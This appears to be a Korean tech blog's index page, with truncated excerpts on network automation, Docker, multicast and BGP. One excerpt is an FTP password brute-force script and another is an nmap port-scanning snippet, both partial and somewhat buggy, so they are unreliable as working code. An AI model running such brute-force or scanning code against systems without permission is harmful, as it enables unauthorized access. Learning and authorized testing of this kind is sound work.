본문 바로가기

분류 전체보기

(22)
Network automation -2- import time import paramiko, time import socks from getpass import getpass def juniper_parse(ip_a, u_id, u_pas,find_words): try: #socks config sock=socks.socksocket() sock.set_proxy( proxy_type=socks.SOCKS5, addr="Socks Server IP", port=Socks Server Port, username="Socks Server ID", password="Socks Server Password") #sock ssh connect sock.connect((ip_a,22)) ssh = paramiko.SSHClient() ssh.set_mis..
Network automation import time import paramiko, time import socks from getpass import getpass def juniper_parse(ip_a, u_id, u_pas, command): #socks config sock=socks.socksocket() sock.set_proxy( proxy_type=socks.SOCKS5, addr="Socks Server IP", port=Socks Server Port, username="Socks Server ID", password="Socks Server Password") #sock ssh connect sock.connect(("SSH 연결 IP",22)) ssh = paramiko.SSHClient() ssh.set_mis..
파이썬을 이용한 NMAP 사용 기본코딩 import nmap port_scan = nmap.PortScanner() port_results = port_scan.scan("192.168.140.128","80","-sV") print(port_results) print(port_scan.command_line()) for host in port_scan.all_host(): print("호스트 정보", host, port_scan[host].hostname() print("호스트 상태", port_scan[host].state()) 응용형 import nmap port_scan = nmap.PortScanner() host_list = input("호스트 정보 입력 : ") port_list = "21,22,80" port_scan...
파이썬 무작위 대입공격 도구 import ftplib def bruteforce(ip, user, password): ftp = ftplib.FTP(ip) try : print(" 사용자 아이디 {}, 패스워드 {} " .format(user, password)) res = ftp.login(user, password) print(res) except exception as ex: print("연결오류", ex) def main(): ip = input("IP정보를 입력하세요. ") with open ("users.txt" ,"r") as users: users = users.readline() with open ("password.txt","r") as passwords: passwords = passwords.readline()..
Multicast Munticast MAC - Multicast 전달자로 사용되는 MAC address 01:80:C2 의 OUI 값을 가지며 Link를 넘어갈수 없다 - BPDU,LACP,LLDP등에 사용되며 인접된 장비 모두로 전달의 의미를 가진다 특정용도로 정해진 멀티캐스트용 MAC 주소 例) - 0180 C200 0000 : Spanning Tree Protocol (for bridges) IEEE 802.1D, RSTP, MSTP - 0180 C200 0008 : Spanning Tree Protocol (for provider bridges) IEEE 802.1AD - 0180 C200 0010 : All Bridge (802.1D에서 모든 브리지에게 브로드캐스트 전파용) - 0180 C200 0003 : 80..
도커(docker)네트워킹 도커(Docker) 없이 컨테이너(Container) 네트워크 환경 구성하기 - 도커 없이 네트워크 네임스페이스 환경에서 통신 구성 도커가 Namespace를 사용하여 네트워크 환경을 구성하기 때문에 Network Namespace를 사용하여 도커 없이 도커와 동일한 환경 구성이 가능함 - 컨테이너는 생각보다 오래된 리눅스 기능임 그런 컨테이너가 왜 최근에 각광받기 시작 했는가? 생각해보면 간단한 문제이다. 도커가 등장함으로서 컨테이너를 사용하기 위해 설정해야 했던 그 모든 불편한 설정을 도커가 대신 해주기 때문임 - 그렇기 때문에 도커의 환경구성 이해를 위해 도커 없이 Network Namespace만을 사용하여 컨테이너(container) 환경을 구성해 봄으로서 도커가 대신해주는 네트워크 환경에 대해..
도커(docker) 도커(docker)는 가상실행환경을 제공해 주는 오픈소스 플랫폼 이는 가상실행 환경은 컨테이너(Containner)가 제공해 주는 것이며 도커는 컨테이너를 오케스트레이션 하는 오픈소스 플랫폼이라고 볼수 있음 컨테이너(Container) 왜? 컨테이너를 써야 하는가? - 웹 개발환경을 예로 들어보면 웹을 개발하기 위해선 DB, WAS, 웹서버 등이 필요하다. - 여러가지 소프트웨어가 필요하기 때문에 매번 여러가지 개발 환경을 만들기도 번거롭고 개발환경을 여러가지 버전으로 만들기도 힘듬 - 한대의 컴퓨터에 여러 개발환경을 만든다면 해당 컴퓨터의 장애시 모든 개발환경이 영향을 받음 - 결국 가상머신을 생각하게 되는데 가상머신은 Hypervisor 위에 OS를 설치하여 운영되기 때문에 리소스의 영향을 많이 받게..
ROUTE-MAP BGP는 Bandwith로 경로를 정하는 IGP와 달리 정책기반의 Routing protocol이기 때문에 사용자의 정책이 상당히 중요함 그렇기에 라우팅에 정책을 부여할수 있는 Route-map이 상당히 중요함 Route-Maps Overview 1. Route-Map은 복잡한 라우팅 정책, filtering 추가를 위해 사용한다 2. Route-Map은 대.소문자를 구분하는 유일한 이름을 사용해야 한다 3. 각 각의 Route-Map은 하나 또는 여러개의 Statement로 구성된다 4. 각 각의 Statement는 0개 또는 여러개의 Match command로 구성된다 5. 각 각의 Statement는 0개 또는 여래개의 Set command로 Routing update를 조정하도록 구성된다 BGP ..